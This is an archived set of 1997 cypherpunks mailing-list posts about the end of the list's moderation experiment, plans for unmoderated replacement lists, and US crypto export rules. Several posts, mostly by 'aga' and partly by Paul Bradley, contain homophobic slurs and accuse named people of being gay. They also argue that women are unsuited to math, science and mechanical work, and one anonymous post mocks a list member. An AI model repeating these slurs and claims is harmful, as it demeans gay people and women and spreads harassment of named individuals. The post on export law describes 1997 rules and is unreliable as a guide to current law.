Date: Fri, 14 Feb 1997 12:07:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702142007.PAA16030@relay1.shore.net>
MIME-Version: 1.0
Content-Type: text/plain


        It's always interesting  to see how another person, particularly a
writer, filters and reshapes an experience you shared with them .
Differences in the telling are inevitable -- but I perceived the recent
experience of the C'punks List quite differently than what Declan described
and implied in his column.

        My understanding of Sandy's effort, for instance, was that he was to
filter out the sludge of spam and contentless name-calling with which some
idiots were flooding the list.  My impression was that he was passing along
any posts with content (ideas, pro or con, on almost anything) but filtering
out the empty obscene name-calling and slurs (many of which seemed anon or
forged, with varied and misleading titles, to duck my kill-file filters.)

        I, for one, was appreciative.  I don't mind flames (and I expected
to still be able to recieve them, from whatever POV -- and it seemed that I
did!) but I also want a little meat somewhere amid the smoke.  

        Who did the filtering  (at the minimal level I expected) was almost
irrelevant. If the filtering was on content, I'd be unhappy -- but I was
eager to see some effort  to cut out the empty hate messages.  I even
suggested to Dale, off-list, that he take it on for awhile.  To me, the
issue was whether this community could develop some mechanism to defend
itself against a willful and intentional effort to destroy it.  I think we
failed to do so, despite the creative search for alternative venues -- and I
think the triumphant cackling I read on what's left of the List  is quite
out of place.  

        It may be that ideological purists were able to develop dynamic
local filters on their PCs  which satisfied them, but my filters just
could't do enough.  It was clear that the fecal-buckshot attacks on the List
were designed to evade them.   I'm still here, but it was more than a minor
annoyance. 

        (A year ago, I knew maybe five friends and acquaintances who
subscribed to C'punks, but they all ran out of patience with the unchecked
flow of sludge and unsubscribed...  months before John tried to introduce
his moderation experiment.)   If 700 dropped off right after the moderation
experiment was announced -- which I somehow doubt -- I wonder how many were
battered into unsubscribing in the six or eight months prior?

        And, of the fleeing 700, how many became bored with the obsession of
some (exhaustively prolific) writers with the "Moderation & Me" -- and went
off to find some discussion of cryptography, politics, and ideas elsewhere?
(Gawd knows, on the then-Moderated List  I never found any lack of
overwrought attacks on Sandy or John.  I even read them for a week or two;-)

        From this whole experience, I carry away something different than
those who gleefully celebrate Gilmore's surrender. I think something unusual
and valuable is being killed.  I'm now convinced that virtually all mailing
lists will soon be forced to either limit posts to authenticated subscribers
or introduce some sort of moderation -- just to deal with the spam threat
and the problem of concerned attacks by those who decide they hate or
dislike or simply want to destroy that particular List community .  

        By the logic of Tim and others, a clever and dedicated crusade
against Cypherpunks by any minimally-organized group, bir or small -- your
local coven, CoS, RC bishops, FBI, Romanian Govt, , whomever!  -- could have
destroyed the List at any time in the past.  I'm glad they never realized
how vulnerable we were;  I've enjoyed this Community greatly  in its current
manifestation. 

         I also hate to think of how gleeful the sociopaths who mail-bombed
us into the choice of submission or suicide must be today.  I think it is a
particularly henious crime to destroy a virtual community; something akin to
book-burning, but maybe more like arson -- like burning village schools.  

    There was a willful attempt to destroy C'punks, an attack of depth and
volume which led many of us (even those who had ignored at least three
earlier efforts to offer filtered subsets to the List)  to welcome the
Moderation Experiment. Unfortunately, the attempt at moderation just twisted
our own energies against ourselves.  We were, perhaps predictably, quite
easy to manipulate.

        If I have any criticism of John et al, it is that our List-Owner (a
statement of function, rather than property) never gave the List Community
an overt option to vote for  minimal moderation.  A tactical error.  That
that allowed the anarchists, nihlists, and others pure of heart to focus
their ire on toad.com and Sandy -- rather than on those of us who (when John
finally acted) might have gladly re-subscribed to another version of the
List in order to obtain minimal spam and slur filtration.  

        So now we ourselves burn the village in order to save it. 

        <nostalgic sigh>  

        How American!  

        Suerte,
                        _Vin



At 11:23 PM 2/13/97 -0800, you wrote:
>Date: Wed, 12 Feb 1997 21:24:37 -0800 (PST)
>From: Declan McCullagh <declan@well.com>
>To: fight-censorship@vorlon.mit.edu
>
>The Netly News Network
>http://netlynews.com/
>
>A List Goes Down In Flames
>by Declan McCullagh (declan@well.com)
>February 12, 1997
>   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Omegaman" <omega@bigeasy.com>
Date: Fri, 14 Feb 1997 13:06:38 -0800 (PST)
To: Martin Minow <fight-censorship@vorlon.mit.edu
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702141459.GAA07338@toad.com>
Message-ID: <199702142105.PAA73652@tetsuo.communique.net>
MIME-Version: 1.0
Content-Type: text/plain



> The only other alternative I can see would be to limit membership --
> but not limit what members might write. 

The notion that there are "members" in some kind of formal fashion is 
inherently un-cypherpunk in my book and would most likely be 
rejected.

> Having been "on" the net for over 15 years -- and with experience in
> both ends of the censorship/moderation problem  (I'm probably the
> only Cypherpunks member to have had a book "banned in Boston"), I'm
> sorry that a handful of sociopaths managed to destroy this
> experiment in anarchy, but I suspect that this was inevitable.

In your 15 years on-line you should KNOW that it's an inevitable 
cycle inherent to anarchic forums like cypherpunks.  But the notion 
that cypherpunks is dead and destroyed is silly.  Cypherpunks will 
(and already are) reform and renew as is, I believe, necessary.  
Whether or not the name cypherpunks is used and embraced is 
irrelevant.  Those interested in cryptography as a tool of personal 
privacy and freedom will inevitable congregate in the self-organizing 
fashion that "cypherpunks" have always recognized.

The "human judgement" you are referring to is leadership.  Leadership 
is not necessarily anathema to cypherpunks.  Leadership is provided 
by those who try to post signal and ignore the noise.  Those who 
continue to push the discussion forward.  

People inevitably tire of robust forums such as this.  The sociopaths 
and the leaders come and go in waves.  Let the forum mutate in 
whatever way it chooses.
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:"to get my public key  |   _London_Calling_ , 1980
---------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 14 Feb 1997 12:18:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: e$
Message-ID: <199702142018.PAA25376@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy Maya has been a source of endless embarassments to 
his sympathizers on and off the net.

           /_/\/\
           \_\  / Timmy Maya
           /_/  \
           \_\/\ \
              \_\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 14 Feb 1997 13:59:18 -0800 (PST)
To: vin@shore.net (Vin McLellan)
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <199702142007.PAA16030@relay1.shore.net>
Message-ID: <199702142155.PAA02863@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Vin McLellan wrote:
> 
>         It's always interesting  to see how another person, particularly a
> writer, filters and reshapes an experience you shared with them .
> Differences in the telling are inevitable -- but I perceived the recent
> experience of the C'punks List quite differently than what Declan described
> and implied in his column.
> 
>         My understanding of Sandy's effort, for instance, was that he was to
> filter out the sludge of spam and contentless name-calling with which some
> idiots were flooding the list.  My impression was that he was passing along
> any posts with content (ideas, pro or con, on almost anything) but filtering
> out the empty obscene name-calling and slurs (many of which seemed anon or
> forged, with varied and misleading titles, to duck my kill-file filters.)

May I ask you, what is the basis of "your understanding"?

Did you form your impression upon reading only the materials from
the list that was filtered by Sandy? Or you also read the flames and
unedited lists?

In the latter case, you have no basis for any claims regarding Sandy's
policy.

I do have a list of subscribers to the unedited list, and you were not
on it.

>         I, for one, was appreciative. 

>         By the logic of Tim and others, a clever and dedicated crusade
> against Cypherpunks by any minimally-organized group, bir or small -- your
> local coven, CoS, RC bishops, FBI, Romanian Govt, , whomever!  -- could have
> destroyed the List at any time in the past. 

But of course.

> I'm glad they never realized
> how vulnerable we were;  I've enjoyed this Community greatly  in its current
> manifestation. 

Maybe they realized it and were not really bothered by this list because
of this lameness. What if all these anti-government rants were just
feeding the illusion of grandeur.

>          I also hate to think of how gleeful the sociopaths who mail-bombed
> us into the choice of submission or suicide must be today.  I think it is a
> particularly henious crime to destroy a virtual community; something akin to
> book-burning, but maybe more like arson -- like burning village schools.  

It is because you wanted to take everything from them.

>     There was a willful attempt to destroy C'punks, an attack of depth and
> volume which led many of us (even those who had ignored at least three
> earlier efforts to offer filtered subsets to the List)  to welcome the
> Moderation Experiment. Unfortunately, the attempt at moderation just twisted
> our own energies against ourselves.  We were, perhaps predictably, quite
> easy to manipulate.

It is a question of what you think is manipulation.

>         If I have any criticism of John et al, it is that our List-Owner (a
> statement of function, rather than property) never gave the List Community
> an overt option to vote for  minimal moderation.  A tactical error.  That
> that allowed the anarchists, nihlists, and others pure of heart to focus
> their ire on toad.com and Sandy -- rather than on those of us who (when John
> finally acted) might have gladly re-subscribed to another version of the
> List in order to obtain minimal spam and slur filtration.  

Yes, if moderation created a new place in cyberspace, it would have been
less controversial.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Fri, 14 Feb 1997 12:56:25 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <855947489.1029218.0@fatmans.demon.co.uk>
Message-ID: <Pine.BSD/.3.91.970214145431.9409A-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997 paul@fatmans.demon.co.uk wrote:

> Here I can agree, I personally discriminate on the basis of sex, not 
> in that I believe women inferior to men but rather that I believe 
> each sex better suited to different tasks and vocations.
> That is not, however, to say that I believe women should be prevented 
> from taking up lines of work that men traditionally hold.
> They are free to do so, but as in the example you give later 
> I would feel uncomfortable having my car serviced by a woman.

<flame-retardant suit on>

Normally I would ignore this sort of comment (which probably belongs in 
some soc. newsgroup), but I feel obliged to point out that:

- The female <mechanic / scientist / engineer>, in addition to passing the
same exams as her male classmates, has probably had to put up with a fair
load of B.S. questioning her right and ability to be there.  The ones that
keep at it long enough to graduate are the ones that *really* want to do 
whatever it is, and IMHO are more likely to try harder.

- If she has been in business for a while, this means she has attracted
and kept customers in spite of the attitude displayed in previous posts. 
There are no "quotas" in the marketplace. 

- I wonder whether the garage owners have any preference.  In my military
experience (Signals officer), the (older male) sergeants and chiefs, when
given a choice, preferred female radar / radio technicians to male
because, in general, they were harder working, had thicker skins, and were
more pleasant to deal with. 

Chicken and Egg: How much of "each sex [is] better suited to different
tasks" is due to little girls being pulled away from the Lego and toy
trucks, and encouraged to play with Barbies?  Being told that they are 
*pretty* not *smart* as a form of approval? 

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 14 Feb 1997 14:02:43 -0800 (PST)
To: dave@kachina.jetcafe.org (Dave Hayes)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702142029.MAA01055@kachina.jetcafe.org>
Message-ID: <199702142157.PAA02906@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dave Hayes wrote:
> 
> Ok. I'll "put up". 
> 
> If the cypherpunks will have me, -I'll- run the cypherpunks
> list. Those that know me know that I will *not* censor, moderate, or
> otherwise alter the content (other than the stuff majordomo does with
> "resend") of any messages to the list.

I think that it is a great idea. If you want to contribute to the 
effort to keep the list, this is great. You could join the network of
other cypherpunks mailing lists. 

There is a small list for discussing these networking issues,
cypherpunks-hosts@algebra.com. It is not for crypto-discussions per 
se, but rather for discussing how we proceed with these lists.

You can subscribe to it through majordomo@algebra.com.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Fri, 14 Feb 1997 13:20:14 -0800 (PST)
To: omegam@communique.net
Subject: Re:
In-Reply-To: <199702142018.OAA113544@tetsuo.communique.net>
Message-ID: <Pine.BSD/.3.91.970214161400.9532B-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997, Omegaman wrote:

> paul@fatmans.demon.co.uk wrote:
> > > Is it legal or illegal to send a 
> > > PGP encrypted message from the US to someone in another country?
> > 
> > Yes.
> 
> No it's not.  Where do you get this?  It would be illegal to send 
> them a copy of the PGP program.  But sending encrypted messages is 
> not illegal.

Actually, Paul implied that it was both legal and illegal.  I assume he 
meant that it is legal except where the *content* of the message contains 
something illegal (death threats against heads of state, etc.) But if you 
use strong encryption, who'll know? 

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Fri, 14 Feb 1997 14:08:20 -0800 (PST)
To: aaron@herringn.com
Subject: Re: Cypherpunks afraid of spam?
In-Reply-To: <l03010d00af2a675dff72@[204.57.198.5]>
Message-ID: <Pine.BSD/.3.91.970214165920.9574B-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997 aaron@herringn.com wrote:

<explanation of anti-spam e-mail addresses snipped>

> I put a spam-busted address in my .sig and give root@127.0.0.1 as my email
> in the from: header. Sure, somebody out there is going to be unhappy with
> me, but if they have a clue they'll figure it out. Meantime, the SpamBots
> are bouncing mail to the admin of the site instead of to me.

<evil grin> That's *much* better than the mundane 
c.y.n.t.h.b@i.o.s.p.h.e.r.e.dot.n.e.t

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 14 Feb 1997 14:27:22 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: The END of censorous queers/was:Moderation experiment * over
In-Reply-To: <855947489.1029218.0@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.95.970214171657.30152A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997 paul@fatmans.demon.co.uk wrote:

> Date: Fri, 14 Feb 1997 19:02:19 +0000
> From: paul@fatmans.demon.co.uk
> To: aga <aga@dhp.com>
> Cc: cypherpunks@toad.com, ichudov@algebra.com, dlv@bwalk.dm.com,
>     Freedom Knights <freedom-knights@jetcafe.org>,
>     alt.cypherpunks@news.demon.net, alt.cypherpunks.social@news.demon.net
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> 
>  
> > Again, MY definition of a "bigot" is the correct one which is
> > most understood by modern people.
> > 
> > A "bigot" is a racist, period.
> 
> I would have to differ with you there Dr. Grubor, although I think 
> the term Bigot being applied critically to your opinions is 
> inappropriate.
> 

Let us distinguish between the denotation an connotation of the word.
The later, being the more modern definition is more appropriate.
Webster's definition of bigotry is at least 75 years old.

> > > I see nothing that limits bigotry to racial intolerance.
> > > 
> > 
> > You are a fool then.  Religion and sexism and groups all have nothing
> > to do with bigotry.  A bigot is a racist, period.  That is TODAY'S
> > correct definition of the term, and I am a lot more current than
> > Webster.  Any anybody who has a "religion" and "prays" is a fool.
> > The only god you will ever find is within yourself.
> 
> I do not begin to believe this is correct.  I happen to believe that 
> sexism, not in the sense of believing women inferior but in the sense 
> of believing homosexuals inferior can be, in some instances, a form 
> of bigotry but it is merely a matter of semantics and not of 
> interest.
> 
> I wholeheartedly agree with the last point, anybody who believes in 
> any form of deity or higher being (call it god if you like) is, IMHO, 
> a fool. However, this has proven in history to be contradicted on a 
> number of occasions, for example, Albert Einstein was a Jew but did 
> not just accept without enquiry, rather, his religious views were 
> subtle and well thought through. This is, of course, the exception 
> not the rule, and 99.9999% of all religious people are fools.
> 
>  
> > > > It is very logical and wise to discriminate on the basis of sex.
> 
> Here I can agree, I personally discriminate on the basis of sex, not 
> in that I believe women inferior to men but rather that I believe 
> each sex better suited to different tasks and vocations.

Exactly.  I know very few good female engineers, but I know a few good
config gals.  Females are just not meant for math and science.

> That is not, however, to say that I believe women should be prevented 
> from taking up lines of work that men traditionally hold.
> They are free to do so, but as in the example you give later 
> I would feel uncomfortable having my car serviced by a woman.
> 
> > > Most would disagree, and decide based on that and other statements you
> > > have made that you must be an extremely unpleasant person.
> > > 
> > 
> > See, there you go again, attacking the person, instead of the
> > argument.  You lose points for that.  Sexism is GOOD and right and
> > justified.  I want a woman cutting my hair, and a man fixing my car,
> > and I demand the correct sex for ALL activities.
> 
> Exactly, the poster has failed to recognise that you have every right 
> to discrimate as you do and are justified in doing so. They are 
> probably either homosexual and feel threatened or they are censorous 
> and feel they must protect people from being "defamed" etc...
>  
> > > If you want to fight censorship effectively, going around telling
> > > people "You're a shit-eating faggot you fucking cock-sucking homo
> > > censor" in public forums is not going to win you many points.
> > 
> > Look sonny, I am not out to win any points.  I have two Doctorates and
> > 22 years of experience.   I speak with authority and only to those who
> > have the intelligence to understand.   I was a perfect 4.00 in
> > College, and am probably the most intelligent body-politic analyst in
> > the world.  Now let's face it:  Faggots are BAD news.  They are most
> > always censors!  And that is the truth you can never get around.
> 
> I agree, I have no prejudice against homosexuals. Rather I have 
> formulated a low opinion of them as a group due to their censorous 
> behaviour. I think it is because they feel threatened by straight 
> people.
> 

Indeed.  And it is because of this "threat" that they always feel that
they are so much into a clique and they are so apt to censor the
slightest alleged "homophobic" discourse.

>  
> 
>   Datacomms Technologies web authoring and data security
>        Paul Bradley, Paul@fatmans.demon.co.uk
>   Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: 5BBFAEB1
>      "Don`t forget to mount a scratch monkey"
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 14 Feb 1997 14:32:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: A "Default Faggot"/ was:Dale disses gays.
In-Reply-To: <199702141945.MAA00019@earth.wazoo.com>
Message-ID: <Pine.LNX.3.95.970214172753.30152B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997, Anonymous wrote:

> Date: Fri, 14 Feb 1997 12:45:07 -0700
> From: Anonymous <nobody@wazoo.com>
> Reply-To: freedom-knights@jetcafe.org
> To: freedom-knights@jetcafe.org
> Subject: Re: Dale disses gays.
> 
> aga <aga@dhp.com> writes:
> 
> > Now just who is thisa guy? -- who keeps posting under
> > "nobody" at the cajones remailer?  Anybody have him/her
> > tagged yet for the real person?
> 
> Probably multiple people.  It's just an anonymous remailer.
> 
> > ...
> > I don't know.  It has always been easy for me to spot a faggot.  I
> > mean, I can even tell by their voice if they are queer.
> 
> Well, those of us who happen to know Gilmore is straight are not very
> impressed with your accuracy.
> 

Well, I never talked to Gilmore, but I will tell you this:
I have never seen him come outright and say "I am straight and not
gay."  So until he says that, he is a default faggot.

The default faggots are the worst kind.  If a guy would just say
"o.k., I am gay," I can respect him and drop the subject.  It is the
ones who refuse to admit they are gay that bug me the most.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 14 Feb 1997 14:45:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dave Hayes takes over Cypherpunks
In-Reply-To: <199702142029.MAA01055@kachina.jetcafe.org>
Message-ID: <Pine.LNX.3.95.970214173916.30152C-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Now finally we can have a heterosexual cypherpunks list.

On Fri, 14 Feb 1997, Dave Hayes wrote:

> Date: Fri, 14 Feb 1997 12:29:41 -0800
> From: Dave Hayes <dave@kachina.jetcafe.org>
> Reply-To: freedom-knights@jetcafe.org
> To: freedom-knights@jetcafe.org, cypherpunks@toad.com
> Subject: Re: Moderation experiment almost over; "put up or shut up" 
> 
> Ok. I'll "put up". 
> 
> If the cypherpunks will have me, -I'll- run the cypherpunks
> list. Those that know me know that I will *not* censor, moderate, or
> otherwise alter the content (other than the stuff majordomo does with
> "resend") of any messages to the list.
> ------
> Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
> Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet
> 
>     Advice is priceless; when it becomes interference it is preposterous.
> 

How about that we require everybody to state their sex and sexual
orientation in the future, so we have no future problems.

I am a "Male Heterosexual" -- what about the rest of you?
If you refuse to answer, you are presumed to be a gay boy who
is hiding it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 14 Feb 1997 16:46:50 -0800 (PST)
To: declan@pathfinder.com (Declan McCullagh)
Subject: Re: Private property & the cypherpunks list(s) (fwd)
In-Reply-To: <199702141611.IAA09307@toad.com>
Message-ID: <199702150150.RAA23778@songbird.com>
MIME-Version: 1.0
Content-Type: text


Declan McCullagh allegedly said:
> 
> 
> On Fri, 14 Feb 1997, Jim Choate wrote:
> 
> > I am taking intellectual property rights from nobody. If anything I am
> > giving unlimited intellectual rights to the material to humankind for
> > posterity. Sorta cypherpunkish, don't you think?
> 
> I am amused by this. Jim's plan sounds much less cypherpunkish than
> collectivist. Communal property, ho!
> 
> After all, workers have nothing to lose in this revolution but their
> chains. They have a world to gain. Workers of the world, unite! 

Ad hominems are so much fun, eh?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 14 Feb 1997 15:03:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: crypto restrictions
Message-ID: <199702142303.SAA01016@relay1.shore.net>
MIME-Version: 1.0
Content-Type: text/plain


Anand Abhyankar <anand@querisoft.com> asked:

>1) is it illegal to develop an encryption tool (s/w) outside the US
>which uses > 40 bit size session keys and then import that s/w inside of
>the US.
>
>anand....

Hi Anand,

        Nope! Unless there are export controls in India,  your wizards in
Bombay or Dehli (pardon, I forget) can offer their US customers the full and
unrestricted product of their creativity and genius in algorithms, crypto
implementations, and/or crypto protocols.

         There are no restrictions on encryption software being _imported_
into the US, nor are there (at the moment <sigh>) any legal (as opposed to
patent or copyright) restrictions on any encryption software of any strength
being _used_ in the US. 

         For that matter, there are no restrictions on encrypted data being
transmitted across the US border.  

        And (while it may require a license, apparently an exemption for the
product, as opposed to a sales-by-sale license) there are seemingly no -- or
at least less -- restrictions on the use of specialized encryption products
(within the US) which can generate a "self-decrypting" secure packet which
can be transmitted (cross-border, outside the US) and opened, anywhere, by a
recipient who has been provided with a password/key out of band.

         That is how RSA's SecurPC has been able to offer full 128-bit RC4
encryption to secure US-to-Anywhere international file transfers.  

        (As with DES, the US Govt is apparently trying to control the export
of a full implementation package -- not the international distribution of a
widely-known algorithm, per se.  As I understand it, the self-decrypting
PCSecure packet does not contain the user interface which allows automatic
encryption, the interface can only decrypt. The RC4 algorithm, of course,
has to be included in the transmission, and it is inherently reversible --
only the user interface is "crippled" to restrict its use to encrypt.
Corrections welcome, if I don't have this exactly right.)  

        The international traffic in self-decrypting "128-bit" products is
separate and distinct from the issues involved in the recent modifications
of the  US export regs, which allow vendors to get approval to export a
56-bit secret-key encryption product (eg. RC4, RC5, or DES) only  if the
vendor submits a concrete plan, and schedule of implementation, to redesign
their (export) product to require key-escrow or trusted-party
key-recovery/storage. 

        (In addition whatever recovery key is required by corporate backup
policies, this is also, obviously, a mechanism for GAK, "government access
to keys" --under US law,  hopefully with a court warrant -- and/or whatever
backup/key-recovery/GAK-access mechanism might be required various other
nations in which those products will be imported, used, or transhipped from.)

        And with those GAK-adapted implementations, the US govt. will then
approve, for the first time, general export of robust 128-bit secret-key
products... as they reportedly have for Open Market's SSL, and TIS and
Digital crypto products.

      I hope this is helpful,

        Suerte,
                        _Vin






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 14 Feb 1997 15:19:42 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702142317.SAA04571@relay1.shore.net>
MIME-Version: 1.0
Content-Type: text/plain


Tim May asked:

>And was my article the kind of "sludge of spam" and "contentless
>name-calling" you thought the Moderation experiment was all about?

        No.  It definitely was not.

>And what of the four or five of my posts a week ago which never made it to
>either the Main list or the Flames list? The contained no "sludge of spam"
>nor "contentless name-calling." What they dealt with was a claim (like this
>one) that some posts were not being passed on to either of the two lists,
>and that perhaps a conflict of interest was developing.
>
>Does this still match your "understanding of Sandy's effort"?

        Sadly, no.

        _Vin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Fri, 14 Feb 1997 15:45:05 -0800 (PST)
To: froomkin@law.miami.edu (Michael Froomkin - U.Miami School of Law)
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <199702141611.IAA09328@toad.com>
Message-ID: <199702142338.SAA18913@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin - U.Miami School of Law wrote:
| Just for the record.  I will not post to USENET given the spamming that
| seems to go to IDs that appear there.  

	Your postings appear on the web, as part of the cypherpunks
archives at infinity.nus.sg.

http://infinity.nus.sg/cypherpunks/current/0089.html

	There seem to be robots that search the web; I've never even
read usenet from this account, and I get spam.

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 14 Feb 1997 15:43:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Congress is at it again; renewed defenses of the CDA
Message-ID: <v03007808af2aa85d6dd6@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Sen. Coats has been ranting about the CDA again. I have more in the
Afterword section of http://netlynews.com/ --

            "As the Supreme Court prepares to hear oral arguments
             next month in the Communications Decency Act case,
             morality crusaders in Congress are launching a renewed
             defense of the law..."

-Declan


-------------------------
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 11:20:12 -0800 (PST)
To: "Scott A. Hommel" <shommel@zoo.uvm.edu>
Subject: Re:
Message-ID: <855947474.1029113.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Is it legal or illegal to send a 
> PGP encrypted message from the US to someone in another country?

Yes.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 11:27:50 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Fuck UseNet
Message-ID: <855947473.1029112.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



>   So, basically, you're saying that the flight from censorship should
> be toward a new CypherPunk 'home' where one is effectively censored
> automatically unless one kisses the ass of a Cabal?

Absolutely, It is really, as far as I see it anyway, just a stop-gap 
measure. The caballers haven`t got enough room to do their censorship 
on the 18000 or so big 7 groups so they decide to fuck up the alt. 
heirachy as well ;-)

Hopefully Igor and co.`s network of Majordomo's should be fully 
operational soon (as I understand it two are up and a third is on 
it's way) then we can move back there. Might even get it finished 
before the 20th?????

 
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 11:33:08 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <855947489.1029218.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



 
> Again, MY definition of a "bigot" is the correct one which is
> most understood by modern people.
> 
> A "bigot" is a racist, period.

I would have to differ with you there Dr. Grubor, although I think 
the term Bigot being applied critically to your opinions is 
inappropriate.

> > I see nothing that limits bigotry to racial intolerance.
> > 
> 
> You are a fool then.  Religion and sexism and groups all have nothing
> to do with bigotry.  A bigot is a racist, period.  That is TODAY'S
> correct definition of the term, and I am a lot more current than
> Webster.  Any anybody who has a "religion" and "prays" is a fool.
> The only god you will ever find is within yourself.

I do not begin to believe this is correct.  I happen to believe that 
sexism, not in the sense of believing women inferior but in the sense 
of believing homosexuals inferior can be, in some instances, a form 
of bigotry but it is merely a matter of semantics and not of 
interest.

I wholeheartedly agree with the last point, anybody who believes in 
any form of deity or higher being (call it god if you like) is, IMHO, 
a fool. However, this has proven in history to be contradicted on a 
number of occasions, for example, Albert Einstein was a Jew but did 
not just accept without enquiry, rather, his religious views were 
subtle and well thought through. This is, of course, the exception 
